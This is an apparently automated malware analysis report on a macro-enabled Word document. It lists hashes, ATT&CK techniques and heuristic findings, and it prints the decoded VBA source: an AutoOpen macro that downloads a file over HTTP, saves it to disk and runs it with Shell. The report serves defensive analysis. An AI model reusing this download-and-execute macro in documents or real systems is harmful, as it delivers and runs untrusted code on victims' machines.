Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 9922c8b508f92f0a…

MALICIOUS

Office (OOXML)

25.2 KB Created: 2021-06-11 06:23:00 UTC Authoring application: Microsoft Office Word 14.0000 First seen: 2021-06-17
MD5: 28dccd52ce1090d372d585d79d2ad544 SHA-1: d6b441626b7cd1a7b6ec3731c13892a606ac4210 SHA-256: 9922c8b508f92f0a34f183ca4eb1ae083e2c61a2ede1719db9385053dfde3f21
210 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample contains VBA macros that are designed to bypass Office security warnings and instruct the user to enable content. The AutoOpen macro downloads a file from a remote URL and saves it as 'file.jpg', then executes it using the Shell command. This indicates a downloader or droppper functionality.

Heuristics 7

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Shell ("file.jpg")
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
        .write xHttp.responseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Dim xHttp: Set xHttp = CreateObject("Microsoft.XMLHTTP")
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas Referenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro
    • https://upload.wikimedia.org/wikipedia/commons/thumb/7/75/Hong_Kong_at_night.jpg/2400px-Hong_Kong_at_night.jpgReferenced by macro
    • https://upload.wikimedia.org/wikipedia/commons/thumb/7/75/Hong_Kong_at_night.jpg/2400px-Hong_Kong_at_night.jpg�Referenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 768 bytes
SHA-256: 2880f4ebd7d4516371a599267ce10f9806985139df3e2bb0fa87b18a743ba13d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Sub AutoOpen()

Dim xHttp: Set xHttp = CreateObject("Microsoft.XMLHTTP")
Dim bStrm: Set bStrm = CreateObject("Adodb.Stream")
xHttp.Open "GET", "https://upload.wikimedia.org/wikipedia/commons/thumb/7/75/Hong_Kong_at_night.jpg/2400px-Hong_Kong_at_night.jpg", False
xHttp.Send

With bStrm
    .Type = 1 '//binary
    .Open
    .write xHttp.responseBody
    .savetofile "file.jpg", 2 '//overwrite
End With

Shell ("file.jpg")

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 10240 bytes
SHA-256: f6072dc1a97d8d1c77211b34cc3b629523b213a54735c9ecaef0b764a25494df

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